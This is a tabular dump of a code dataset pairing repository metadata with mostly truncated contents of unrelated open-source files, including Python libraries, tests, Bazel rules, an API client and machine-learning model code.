hexsha stringlengths 40 40 | size int64 4 1.02M | ext stringclasses 8
values | lang stringclasses 1
value | max_stars_repo_path stringlengths 4 209 | max_stars_repo_name stringlengths 5 121 | max_stars_repo_head_hexsha stringlengths 40 40 | max_stars_repo_licenses listlengths 1 10 | max_stars_count int64 1 191k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 4 209 | max_issues_repo_name stringlengths 5 121 | max_issues_repo_head_hexsha stringlengths 40 40 | max_issues_repo_licenses listlengths 1 10 | max_issues_count int64 1 67k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 4 209 | max_forks_repo_name stringlengths 5 121 | max_forks_repo_head_hexsha stringlengths 40 40 | max_forks_repo_licenses listlengths 1 10 | max_forks_count int64 1 105k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 4 1.02M | avg_line_length float64 1.07 66.1k | max_line_length int64 4 266k | alphanum_fraction float64 0.01 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
a48c58e9f1de07ae64acb88a2d38d018da133288 | 525 | py | Python | wntr/__init__.py | algchyhao/WNTR | dd4db188a8641a4da16cf80a1557c908fa48c17d | [
"BSD-3-Clause"
] | null | null | null | wntr/__init__.py | algchyhao/WNTR | dd4db188a8641a4da16cf80a1557c908fa48c17d | [
"BSD-3-Clause"
] | null | null | null | wntr/__init__.py | algchyhao/WNTR | dd4db188a8641a4da16cf80a1557c908fa48c17d | [
"BSD-3-Clause"
] | null | null | null | from wntr import epanet
from wntr import network
from wntr import morph
from wntr import metrics
from wntr import sim
from wntr import scenario
from wntr import graphics
from wntr import utils
__version__ = '0.1.7'
__copyright__ = """Copyright 2015-2019 National Technology & Engineering
Solutions of Sandia, LLC (NTE... | 27.631579 | 75 | 0.794286 |
127167355cbe343d0f2cc6796ef9bd9083343d76 | 42 | py | Python | test_pyramids/__init__.py | leomauro/pyramids | 4f7a8e97e13a5ee0b037dc528e5ba72f31ac36e5 | [
"MIT"
] | 9 | 2015-09-04T22:33:40.000Z | 2019-04-11T14:05:11.000Z | test_pyramids/__init__.py | leomauro/pyramids | 4f7a8e97e13a5ee0b037dc528e5ba72f31ac36e5 | [
"MIT"
] | 2 | 2015-09-04T22:31:44.000Z | 2017-07-29T04:11:53.000Z | test_pyramids/__init__.py | hosford42/pyramids | 4f7a8e97e13a5ee0b037dc528e5ba72f31ac36e5 | [
"MIT"
] | 3 | 2015-10-14T12:41:26.000Z | 2022-01-08T19:43:47.000Z | """Test suite for the Pyramids parser."""
| 21 | 41 | 0.690476 |
7f84260de4df365fe7b095a1829bc82091a286e4 | 5,500 | bzl | Python | tests/sets_tests.bzl | laszlocsomor/bazel-skylib | f4a2bae427c4958af834c34624767b0144f7ab12 | [
"Apache-2.0"
] | null | null | null | tests/sets_tests.bzl | laszlocsomor/bazel-skylib | f4a2bae427c4958af834c34624767b0144f7ab12 | [
"Apache-2.0"
] | null | null | null | tests/sets_tests.bzl | laszlocsomor/bazel-skylib | f4a2bae427c4958af834c34624767b0144f7ab12 | [
"Apache-2.0"
] | null | null | null | # Copyright 2017 The Bazel Authors. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable la... | 35.714286 | 80 | 0.651273 |
981560558743d6475be801ad127fb7ab3420f72f | 118,322 | py | Python | venv/Lib/site-packages/pyglet/media/drivers/pulse/lib_pulseaudio.py | mintzer/pupillometry-rf-back | cfa86fa984a49dce0123798f8de5b838c02e10d5 | [
"CC-BY-4.0"
] | null | null | null | venv/Lib/site-packages/pyglet/media/drivers/pulse/lib_pulseaudio.py | mintzer/pupillometry-rf-back | cfa86fa984a49dce0123798f8de5b838c02e10d5 | [
"CC-BY-4.0"
] | null | null | null | venv/Lib/site-packages/pyglet/media/drivers/pulse/lib_pulseaudio.py | mintzer/pupillometry-rf-back | cfa86fa984a49dce0123798f8de5b838c02e10d5 | [
"CC-BY-4.0"
] | null | null | null | # ----------------------------------------------------------------------------
# pyglet
# Copyright (c) 2006-2008 Alex Holkner
# Copyright (c) 2008-2020 pyglet contributors
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the follo... | 41.041276 | 168 | 0.806443 |
42146d9733d358ed91ccc5d2d78182e86e54b005 | 379 | py | Python | simulation/lpdm_event/lpdm_buy_power_event.py | LBNL-ETA/LPDM | 3384a784b97e49cd7a801b758717a7107a51119f | [
"BSD-3-Clause-LBNL"
] | 2 | 2019-01-05T02:33:38.000Z | 2020-04-22T16:57:50.000Z | simulation/lpdm_event/lpdm_buy_power_event.py | LBNL-ETA/LPDM | 3384a784b97e49cd7a801b758717a7107a51119f | [
"BSD-3-Clause-LBNL"
] | 3 | 2019-04-17T18:13:08.000Z | 2021-04-23T22:40:23.000Z | simulation/lpdm_event/lpdm_buy_power_event.py | LBNL-ETA/LPDM | 3384a784b97e49cd7a801b758717a7107a51119f | [
"BSD-3-Clause-LBNL"
] | 1 | 2019-01-31T08:37:44.000Z | 2019-01-31T08:37:44.000Z | from lpdm_base_event import LpdmBaseEvent
class LpdmBuyPowerEvent(LpdmBaseEvent):
"""A grid controller notifies a power source how much power is available for purchase"""
def __init__(self, source_device_id, target_device_id, time, value):
LpdmBaseEvent.__init__(self, source_device_id, target_device_id... | 37.9 | 92 | 0.76781 |
f8669fc7d941027ed059d4d777c769383a681029 | 2,671 | py | Python | setup.py | IBM/data-virtualization-on-cloud-python-sdk | 9d0917854b1f0728f75e5f96141729ee37a40126 | [
"Apache-2.0"
] | null | null | null | setup.py | IBM/data-virtualization-on-cloud-python-sdk | 9d0917854b1f0728f75e5f96141729ee37a40126 | [
"Apache-2.0"
] | 9 | 2021-06-23T09:28:53.000Z | 2021-11-09T02:04:56.000Z | setup.py | IBM/data-virtualization-on-cloud-python-sdk | 9d0917854b1f0728f75e5f96141729ee37a40126 | [
"Apache-2.0"
] | 3 | 2021-06-18T14:03:06.000Z | 2021-06-22T07:00:23.000Z | #!/usr/bin/env python
# Copyright 2019, 2020 IBM All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required b... | 35.144737 | 79 | 0.693748 |
c0d262e131c4896ffaf2ca30b9323c8bff89bf0b | 103,639 | py | Python | feersum_nlu/api/synonym_entity_extractors_api.py | praekelt/feersum-nlu-api-wrappers | 6580e2bab2c8a764fe868a505330b3fee6029074 | [
"BSD-3-Clause"
] | 9 | 2017-10-10T12:24:23.000Z | 2021-08-18T14:07:51.000Z | feersum_nlu/api/synonym_entity_extractors_api.py | praekelt/feersum-nlu-api-wrappers | 6580e2bab2c8a764fe868a505330b3fee6029074 | [
"BSD-3-Clause"
] | 1 | 2020-12-06T11:03:25.000Z | 2021-04-14T05:21:23.000Z | feersum_nlu/api/synonym_entity_extractors_api.py | praekelt/feersum-nlu-api-wrappers | 6580e2bab2c8a764fe868a505330b3fee6029074 | [
"BSD-3-Clause"
] | 2 | 2019-02-12T08:26:06.000Z | 2022-02-01T09:39:47.000Z | # coding: utf-8
"""
FeersumNLU API
This is the HTTP API for Feersum NLU. See https://github.com/praekelt/feersum-nlu-api-wrappers for examples of how to use the API. # noqa: E501
OpenAPI spec version: 2.0.54.dev2
Contact: nlu@feersum.io
Generated by: https://github.com/swagger-api/swagger-codege... | 45.336395 | 169 | 0.644236 |
b31bd3a4ad152944df16c494f522c348d647fdb7 | 4,813 | py | Python | tests/python/unittest/test_executor.py | Liuxg16/BrainMatrix | 0ec70edd4e12dd3719d20dd14d4e24438c60326f | [
"Apache-2.0"
] | 9 | 2018-06-12T12:12:56.000Z | 2020-11-26T01:45:15.000Z | tests/python/unittest/test_executor.py | achao2013/mxnet-quantify | ae77c896da6db35530390e3cf8e524d553bba112 | [
"Apache-2.0"
] | 1 | 2020-01-26T19:53:49.000Z | 2020-01-26T19:53:49.000Z | tests/python/unittest/test_executor.py | achao2013/mxnet-quantify | ae77c896da6db35530390e3cf8e524d553bba112 | [
"Apache-2.0"
] | 14 | 2016-11-18T07:21:41.000Z | 2019-09-30T08:48:22.000Z | import numpy as np
import mxnet as mx
def reldiff(a, b):
diff = np.sum(np.abs(a - b))
norm = np.sum(np.abs(a))
reldiff = diff / norm
return reldiff
def check_bind_with_uniform(uf, gf, dim, sf=None, lshape=None, rshape=None):
"""check function consistency with uniform random numbers"""
shape... | 35.651852 | 81 | 0.484729 |
9cdb9cb5334aacf4c1be5312ee84a085523f701b | 873 | py | Python | BytecodeBuilder.py | gydrogen/hydrogen | 6c448b67471ce2bbef12a36a0182b58ac56a7da3 | [
"MIT"
] | null | null | null | BytecodeBuilder.py | gydrogen/hydrogen | 6c448b67471ce2bbef12a36a0182b58ac56a7da3 | [
"MIT"
] | null | null | null | BytecodeBuilder.py | gydrogen/hydrogen | 6c448b67471ce2bbef12a36a0182b58ac56a7da3 | [
"MIT"
] | null | null | null | import os
from sys import argv
def build(file, tag=''):
if not os.path.isfile(file):
print(f'{file} is not a valid input file.')
return
pwd = os.getcwd()
path, infile = os.path.split(file)
outfile = infile.replace('.c', f'{tag}.bc', 1)
os.chdir(path)
command = f"clang -c -O0 ... | 25.676471 | 96 | 0.616266 |
541cc44ffd403ff148ceb006127bfea30f4b22c7 | 3,761 | py | Python | analytics/management/commands/analyze_mit.py | MarkCupitt/zulip | 86bb9a9431084e59b491ca7980ec4f4333eb96f7 | [
"Apache-2.0"
] | 1 | 2017-07-27T19:49:12.000Z | 2017-07-27T19:49:12.000Z | analytics/management/commands/analyze_mit.py | eric-erki/zulip | a063dd3b26f7ada794e14ace0d24ea1834611446 | [
"Apache-2.0"
] | 9 | 2021-02-08T20:22:39.000Z | 2022-02-11T03:40:19.000Z | analytics/management/commands/analyze_mit.py | tobby2002/zulip | 66e7c455759f9368bae16b9a604cf63f8e3524cd | [
"Apache-2.0"
] | 1 | 2021-04-09T05:50:23.000Z | 2021-04-09T05:50:23.000Z | from __future__ import absolute_import
from __future__ import print_function
from typing import Any
from optparse import make_option
from django.core.management.base import BaseCommand
from zerver.models import Recipient, Message
from zerver.lib.timestamp import timestamp_to_datetime
import datetime
import time
impor... | 43.229885 | 99 | 0.620048 |
dffc0ac6f2e9f1c76ebaa025e98761dce995c643 | 663 | py | Python | codejam/14/0q/a-magic.py | neizod/problems | 180aaf7d0ecfc3d0dd5f1d4345a7a4d83b1b884a | [
"MIT"
] | 1 | 2015-10-17T11:15:42.000Z | 2015-10-17T11:15:42.000Z | codejam/14/0q/a-magic.py | neizod/problems | 180aaf7d0ecfc3d0dd5f1d4345a7a4d83b1b884a | [
"MIT"
] | null | null | null | codejam/14/0q/a-magic.py | neizod/problems | 180aaf7d0ecfc3d0dd5f1d4345a7a4d83b1b884a | [
"MIT"
] | null | null | null | def foo(answer_1, matrix_1, answer_2, matrix_2):
candidate_1 = matrix_1[answer_1-1]
candidate_2 = matrix_2[answer_2-1]
final = set(candidate_1) & set(candidate_2)
if len(final) == 0:
return 'Volunteer cheated!'
elif len(final) > 1:
return 'Bad magician!'
else:
return fina... | 33.15 | 68 | 0.616893 |
28f730efdc85440dca79bc391746dfdca8a03165 | 22,252 | py | Python | contrib/performance/loadtest/test_sim.py | backwardn/ccs-calendarserver | 13c706b985fb728b9aab42dc0fef85aae21921c3 | [
"Apache-2.0"
] | 462 | 2016-08-14T17:43:24.000Z | 2022-03-17T07:38:16.000Z | contrib/performance/loadtest/test_sim.py | backwardn/ccs-calendarserver | 13c706b985fb728b9aab42dc0fef85aae21921c3 | [
"Apache-2.0"
] | 72 | 2016-09-01T23:19:35.000Z | 2020-02-05T02:09:26.000Z | contrib/performance/loadtest/test_sim.py | backwardn/ccs-calendarserver | 13c706b985fb728b9aab42dc0fef85aae21921c3 | [
"Apache-2.0"
] | 171 | 2016-08-16T03:50:30.000Z | 2022-03-26T11:49:55.000Z | ##
# Copyright (c) 2011-2017 Apple Inc. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable l... | 35.948304 | 140 | 0.554242 |
ca112b6837b31917ef60859c69b4cd4c59d050d8 | 10,341 | py | Python | usaspending_api/search/tests/integration/hierarchical_filters/test_tas_filter_heirarchical_cases.py | g4brielvs/usaspending-api | bae7da2c204937ec1cdf75c052405b13145728d5 | [
"CC0-1.0"
] | 217 | 2016-11-03T17:09:53.000Z | 2022-03-10T04:17:54.000Z | usaspending_api/search/tests/integration/hierarchical_filters/test_tas_filter_heirarchical_cases.py | g4brielvs/usaspending-api | bae7da2c204937ec1cdf75c052405b13145728d5 | [
"CC0-1.0"
] | 622 | 2016-09-02T19:18:23.000Z | 2022-03-29T17:11:01.000Z | usaspending_api/search/tests/integration/hierarchical_filters/test_tas_filter_heirarchical_cases.py | g4brielvs/usaspending-api | bae7da2c204937ec1cdf75c052405b13145728d5 | [
"CC0-1.0"
] | 93 | 2016-09-07T20:28:57.000Z | 2022-02-25T00:25:27.000Z | import pytest
from usaspending_api.search.tests.integration.hierarchical_filters.tas_fixtures import (
BASIC_TAS,
ATA_TAS,
SISTER_TAS,
TAS_DICTIONARIES,
TAS_STRINGS,
)
from usaspending_api.search.tests.integration.hierarchical_filters.tas_search_test_helpers import (
_setup_es,
query_by_tas... | 34.016447 | 120 | 0.736389 |
c5237d62756d3cd1377f8fc3d2b2a7f2734739bb | 1,925 | py | Python | tests/test_models.py | notna888/pyLaridae | 4e07dcce30e818e0ad75001d579f4ad486e841f3 | [
"MIT"
] | null | null | null | tests/test_models.py | notna888/pyLaridae | 4e07dcce30e818e0ad75001d579f4ad486e841f3 | [
"MIT"
] | null | null | null | tests/test_models.py | notna888/pyLaridae | 4e07dcce30e818e0ad75001d579f4ad486e841f3 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""Model unit tests."""
import datetime as dt
import pytest
from pyLaridae.user.models import Role, User
from .factories import UserFactory
@pytest.mark.usefixtures("db")
class TestUser:
"""User tests."""
def test_get_by_id(self):
"""Get user by ID."""
user = User("... | 28.731343 | 88 | 0.611948 |
24581d646e7fb9cd88142eaae17015665f477ce0 | 3,852 | py | Python | electrum_dash/tests/test_x509.py | sibcool/electrum-dash | e123699b34260fe799aa5da818c33fa9cdf8e4c9 | [
"MIT"
] | 1 | 2019-09-09T06:54:39.000Z | 2019-09-09T06:54:39.000Z | electrum_dash/tests/test_x509.py | sibcool/electrum-dash | e123699b34260fe799aa5da818c33fa9cdf8e4c9 | [
"MIT"
] | null | null | null | electrum_dash/tests/test_x509.py | sibcool/electrum-dash | e123699b34260fe799aa5da818c33fa9cdf8e4c9 | [
"MIT"
] | null | null | null | import unittest
from electrum_dash.x509 import X509
class TestX509(unittest.TestCase):
def test_generalizedtime(self):
full = X509(b'0\x82\x05F0\x82\x03.\x02\t\x00\xfeV\xd6\xb5?\xb1j\xe40\r\x06\t*\x86H\x86\xf7\r\x01\x01\x0b\x05\x000d1\x0b0\t\x06\x03U\x04\x06\x13\x02US1\x130\x11\x06\x03U\x04\x08\x0c\nCalifor... | 550.285714 | 3,702 | 0.74325 |
f9f566caf8bd8154305b0fa8f078c09b96f33884 | 20,510 | py | Python | application.py | escottgoodwin/langoapi | 9f5e88a664addd2899968728049d5982cc2cecfe | [
"MIT"
] | null | null | null | application.py | escottgoodwin/langoapi | 9f5e88a664addd2899968728049d5982cc2cecfe | [
"MIT"
] | 2 | 2021-03-31T18:56:16.000Z | 2021-12-13T19:56:21.000Z | application.py | escottgoodwin/langoapi | 9f5e88a664addd2899968728049d5982cc2cecfe | [
"MIT"
] | null | null | null | from random import randint
import os
from bs4 import BeautifulSoup
import json
from textblob import TextBlob
from gensim.models.doc2vec import Doc2Vec,TaggedDocument
import datetime
from datetime import datetime,timedelta
import requests
import json
from stop_words import get_stop_words
import boto3
from scipy.spatial.... | 36.756272 | 391 | 0.648805 |
75bbc0975c32e0e5597a12509bb1c6487fe66953 | 2,629 | py | Python | plugins/cnotify.py | followy0urdream/ghost.py | 223d507778f194463a1737afd81b316c8d4dcac8 | [
"MIT"
] | 6 | 2017-03-21T19:45:22.000Z | 2021-11-02T10:26:49.000Z | plugins/cnotify.py | followy0urdream/ghost.py | 223d507778f194463a1737afd81b316c8d4dcac8 | [
"MIT"
] | null | null | null | plugins/cnotify.py | followy0urdream/ghost.py | 223d507778f194463a1737afd81b316c8d4dcac8 | [
"MIT"
] | 4 | 2017-12-18T15:12:17.000Z | 2020-11-23T17:34:29.000Z | import eventlet
import hook, bnetprotocol
from misc import *
from config import config
clantrack = hook.import_plugin('clantrack')
parsed_settings = {}
def parse_settings():
for i in xrange(9001):
try:
settings = config[__name__.split('.')[-1] + str(i)]
except KeyError:
br... | 38.101449 | 146 | 0.593762 |
5e3ecbb75a4e2cdde1f86dd70612efb9f977e6dd | 4,651 | py | Python | huaweicloud-sdk-oms/huaweicloudsdkoms/v2/model/smn_info.py | huaweicloud/huaweicloud-sdk-python-v3 | 7a6270390fcbf192b3882bf763e7016e6026ef78 | [
"Apache-2.0"
] | 64 | 2020-06-12T07:05:07.000Z | 2022-03-30T03:32:50.000Z | huaweicloud-sdk-oms/huaweicloudsdkoms/v2/model/smn_info.py | huaweicloud/huaweicloud-sdk-python-v3 | 7a6270390fcbf192b3882bf763e7016e6026ef78 | [
"Apache-2.0"
] | 11 | 2020-07-06T07:56:54.000Z | 2022-01-11T11:14:40.000Z | huaweicloud-sdk-oms/huaweicloudsdkoms/v2/model/smn_info.py | huaweicloud/huaweicloud-sdk-python-v3 | 7a6270390fcbf192b3882bf763e7016e6026ef78 | [
"Apache-2.0"
] | 24 | 2020-06-08T11:42:13.000Z | 2022-03-04T06:44:08.000Z | # coding: utf-8
import re
import six
from huaweicloudsdkcore.utils.http_utils import sanitize_for_serialization
class SmnInfo:
"""
Attributes:
openapi_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): The key is attribu... | 27.52071 | 87 | 0.58439 |
60aee9c1913979c0fd914bb77b0939fb8b1aadb0 | 492 | py | Python | General2.py | work-acc/praktika10 | 64fba67d0704a60ff8178e774cf1e3132cfd7476 | [
"MIT"
] | null | null | null | General2.py | work-acc/praktika10 | 64fba67d0704a60ff8178e774cf1e3132cfd7476 | [
"MIT"
] | null | null | null | General2.py | work-acc/praktika10 | 64fba67d0704a60ff8178e774cf1e3132cfd7476 | [
"MIT"
] | null | null | null | #!/usr/bin/evn python3
# -*- config: utf-8 -*-
import math
def cylinder(r, h, full=True):
def circle(r):
return math.pi * (r ** 2)
s_cylinder = 2 * math.pi * r * h
if full:
return s_cylinder + 2 * circle(r)
else:
print(s_cylinder)
if __name__ == '__main__':
s_circle = ... | 18.222222 | 42 | 0.54065 |
8b0877ce12d8747414a15746ff0f428a9f091b0d | 2,387 | py | Python | settings_example.py | alanmitchell/fnsb-benchmark | b7b8066d6adadfb13758fa5c77fa0e52175a6211 | [
"MIT"
] | null | null | null | settings_example.py | alanmitchell/fnsb-benchmark | b7b8066d6adadfb13758fa5c77fa0e52175a6211 | [
"MIT"
] | 25 | 2017-10-19T17:28:43.000Z | 2017-10-20T22:36:50.000Z | settings_example.py | alanmitchell/fnsb-benchmark | b7b8066d6adadfb13758fa5c77fa0e52175a6211 | [
"MIT"
] | null | null | null | """This file is an example settings.py file, which controls aspects of
how the benchmark.py script will run.
Copy this file to a file named "settings.py" in this directory, and then
modify the settings in that file, not this example file.
The settings file is a standard Python module, so Python expressions or any
ty... | 46.803922 | 84 | 0.75199 |
91072824586cc030c54bf6b1626e29bb52aed9f6 | 2,451 | py | Python | tests/integration/test_repeat.py | mferreravila/cunumeric | 87901174d0ecb1719bbccb98201dc19034973834 | [
"Apache-2.0"
] | null | null | null | tests/integration/test_repeat.py | mferreravila/cunumeric | 87901174d0ecb1719bbccb98201dc19034973834 | [
"Apache-2.0"
] | null | null | null | tests/integration/test_repeat.py | mferreravila/cunumeric | 87901174d0ecb1719bbccb98201dc19034973834 | [
"Apache-2.0"
] | null | null | null | # Copyright 2021-2022 NVIDIA Corporation
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to ... | 33.121622 | 78 | 0.671971 |
0546ca539902d174e3e900a13203a738f8f49301 | 16,940 | py | Python | chives/pools/pool_puzzles.py | zcomputerwiz/chives-blockchain | 73d268bf76f50ff6133c868b58891e75739a2708 | [
"Apache-2.0"
] | 75 | 2021-06-27T03:30:59.000Z | 2022-03-20T12:32:55.000Z | chives/pools/pool_puzzles.py | zcomputerwiz/chives-blockchain | 73d268bf76f50ff6133c868b58891e75739a2708 | [
"Apache-2.0"
] | 39 | 2021-07-02T07:11:24.000Z | 2022-03-20T15:00:07.000Z | chives/pools/pool_puzzles.py | zcomputerwiz/chives-blockchain | 73d268bf76f50ff6133c868b58891e75739a2708 | [
"Apache-2.0"
] | 41 | 2021-06-24T11:24:43.000Z | 2022-03-14T16:11:38.000Z | import logging
from typing import Tuple, List, Optional
from blspy import G1Element
from clvm.casts import int_from_bytes, int_to_bytes
from chives.clvm.singleton import SINGLETON_LAUNCHER
from chives.consensus.block_rewards import calculate_pool_reward
from chives.consensus.coinbase import pool_parent_id
from chives.... | 39.303944 | 120 | 0.725148 |
9918a6ac176937d502ff62b5bfe1073215f0db3c | 4,125 | py | Python | data_gen/DataGenerator.py | Jos3f/Intensity-based-clustering-study | fac2cc1ab23e7ebbbf87563deb6c242cbdac374c | [
"Unlicense"
] | 2 | 2021-04-13T14:55:45.000Z | 2021-04-29T01:53:39.000Z | data_gen/DataGenerator.py | Jos3f/Intensity-based-clustering-study | fac2cc1ab23e7ebbbf87563deb6c242cbdac374c | [
"Unlicense"
] | null | null | null | data_gen/DataGenerator.py | Jos3f/Intensity-based-clustering-study | fac2cc1ab23e7ebbbf87563deb6c242cbdac374c | [
"Unlicense"
] | null | null | null | import os
import numpy as np
from PIL import Image
import matplotlib.pyplot as plt
from scipy.ndimage import gaussian_filter
from skimage.draw import circle
import math
class DataGenerator:
def __init__(self, dims, seed=1337):
self.dims = dims
np.random.seed(seed)
self.target ... | 35.869565 | 107 | 0.550303 |
cfd1f3b371a507a60319d50a73825887c67690d0 | 2,339 | py | Python | src/path_encoder.py | Thuamo/RYANSQL | d6c03c07db52cbca76b5b935843a39da90636280 | [
"Apache-2.0"
] | 21 | 2020-07-10T01:13:29.000Z | 2021-11-22T08:24:12.000Z | src/path_encoder.py | Thuamo/RYANSQL | d6c03c07db52cbca76b5b935843a39da90636280 | [
"Apache-2.0"
] | 2 | 2021-10-14T04:54:57.000Z | 2021-10-14T05:01:10.000Z | src/path_encoder.py | Thuamo/RYANSQL | d6c03c07db52cbca76b5b935843a39da90636280 | [
"Apache-2.0"
] | 8 | 2020-11-09T04:01:26.000Z | 2021-12-26T13:29:47.000Z | import tensorflow as tf
import sys
sys.path.append( "../../util" )
from networkcomponents import *
from db_meta import *
class PathEncoder:
def __init__( self ):
vec_pathcode = [ PATH_NONE, PATH_UNION, PATH_INTER, PATH_EXCEPT, PATH_WHERE, PATH_HAVING, PATH_PAR ]
self.path_dic ... | 45.862745 | 235 | 0.599401 |
c6d854dd963e8c0d515d89e4f1051d45fd01a5ad | 15,555 | py | Python | src/openfermion/transforms/repconversions/qubit_tapering_from_stabilizer_test.py | Emieeel/OpenFermion | c19d9667c5970473893f9bc0183556c4cd354dd7 | [
"Apache-2.0"
] | 1,291 | 2017-09-27T22:00:26.000Z | 2022-03-25T14:34:50.000Z | src/openfermion/transforms/repconversions/qubit_tapering_from_stabilizer_test.py | xabomon/OpenFermion | 8028082805a8e48d9fd179e7616e7df8a256693c | [
"Apache-2.0"
] | 521 | 2017-09-27T21:36:17.000Z | 2022-03-02T12:45:56.000Z | src/openfermion/transforms/repconversions/qubit_tapering_from_stabilizer_test.py | xabomon/OpenFermion | 8028082805a8e48d9fd179e7616e7df8a256693c | [
"Apache-2.0"
] | 365 | 2017-09-27T21:25:38.000Z | 2022-03-29T19:28:46.000Z | # Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distribu... | 44.570201 | 80 | 0.590743 |
09b090a2d2598161f683e6255d10399d40d8d766 | 8,064 | py | Python | airflow/providers/odbc/hooks/odbc.py | omad/airflow | 663259d4b541ab10ce55fec4d2460e23917062c2 | [
"Apache-2.0"
] | 1 | 2021-07-07T15:13:51.000Z | 2021-07-07T15:13:51.000Z | airflow/providers/odbc/hooks/odbc.py | omad/airflow | 663259d4b541ab10ce55fec4d2460e23917062c2 | [
"Apache-2.0"
] | 1 | 2020-10-15T22:39:05.000Z | 2020-10-15T22:39:05.000Z | airflow/providers/odbc/hooks/odbc.py | tanjinP/airflow | f0b9aae564805fb09328faf0c47f441ee0699ed8 | [
"Apache-2.0"
] | null | null | null | # pylint: disable=c-extension-no-member
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Vers... | 39.529412 | 108 | 0.635417 |
33b7cb9af97ea021ec16ba64320a5e97d7bc7aec | 31,792 | py | Python | models/modules/shift_unet.py | qianbenb/Shift-Net_pytorch | c765939bed64b9604e9ea7ce2c14b2b2c69046d4 | [
"MIT"
] | 1 | 2019-04-24T10:01:29.000Z | 2019-04-24T10:01:29.000Z | models/modules/shift_unet.py | qianbenb/Shift-Net_pytorch | c765939bed64b9604e9ea7ce2c14b2b2c69046d4 | [
"MIT"
] | null | null | null | models/modules/shift_unet.py | qianbenb/Shift-Net_pytorch | c765939bed64b9604e9ea7ce2c14b2b2c69046d4 | [
"MIT"
] | null | null | null | import torch
import torch.nn as nn
import torch.nn.functional as F
# For original shift
from models.shift_net.InnerShiftTriple import InnerShiftTriple
from models.shift_net.InnerCos import InnerCos
# For res shift
from models.res_shift_net.innerResShiftTriple import InnerResShiftTriple
# For pixel soft shift
from mo... | 54.62543 | 175 | 0.572157 |
54b0ec65bf9dd231312d4d73918ce870ff9e22b4 | 2,270 | py | Python | tools/perf/experimental/story_clustering/similarity_calculator.py | zealoussnow/chromium | fd8a8914ca0183f0add65ae55f04e287543c7d4a | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | 14,668 | 2015-01-01T01:57:10.000Z | 2022-03-31T23:33:32.000Z | tools/perf/experimental/story_clustering/similarity_calculator.py | zealoussnow/chromium | fd8a8914ca0183f0add65ae55f04e287543c7d4a | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | 113 | 2015-05-04T09:58:14.000Z | 2022-01-31T19:35:03.000Z | tools/perf/experimental/story_clustering/similarity_calculator.py | zealoussnow/chromium | fd8a8914ca0183f0add65ae55f04e287543c7d4a | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | 5,941 | 2015-01-02T11:32:21.000Z | 2022-03-31T16:35:46.000Z | # Copyright 2019 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
import os
from core.external_modules import pandas
HIGHEST_VALID_NAN_RATIO = 0.5
def CalculateDistances(
input_dataframe,
metric,
normalize=False,
... | 31.527778 | 73 | 0.730837 |
293283969ca712299812e4876596c140604d7076 | 1,898 | py | Python | web/tests/chatlocation.py | gopherkhan/playhvz | 77a399c4d5da33f33681cb927b3f476d27a7d538 | [
"Apache-2.0"
] | null | null | null | web/tests/chatlocation.py | gopherkhan/playhvz | 77a399c4d5da33f33681cb927b3f476d27a7d538 | [
"Apache-2.0"
] | null | null | null | web/tests/chatlocation.py | gopherkhan/playhvz | 77a399c4d5da33f33681cb927b3f476d27a7d538 | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/python
#
# Copyright 2017 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or a... | 34.509091 | 93 | 0.721812 |
45e533457e46ae262573048136e4c016fa8a386f | 5,496 | py | Python | src/tests/ftest/nvme/nvme_pool_extend.py | kalfizah/daos | 32125564af7382b5a9924649a49b95013553e101 | [
"BSD-2-Clause-Patent"
] | 2 | 2021-07-14T12:21:50.000Z | 2021-07-14T12:21:52.000Z | src/tests/ftest/nvme/nvme_pool_extend.py | kalfizah/daos | 32125564af7382b5a9924649a49b95013553e101 | [
"BSD-2-Clause-Patent"
] | null | null | null | src/tests/ftest/nvme/nvme_pool_extend.py | kalfizah/daos | 32125564af7382b5a9924649a49b95013553e101 | [
"BSD-2-Clause-Patent"
] | 1 | 2021-11-03T05:00:42.000Z | 2021-11-03T05:00:42.000Z | #!/usr/bin/python3
"""
(C) Copyright 2020-2021 Intel Corporation.
SPDX-License-Identifier: BSD-2-Clause-Patent
"""
import time
import threading
from test_utils_pool import TestPool
from osa_utils import OSAUtils
from write_host_file import write_host_file
from dmg_utils import check_system_query_status
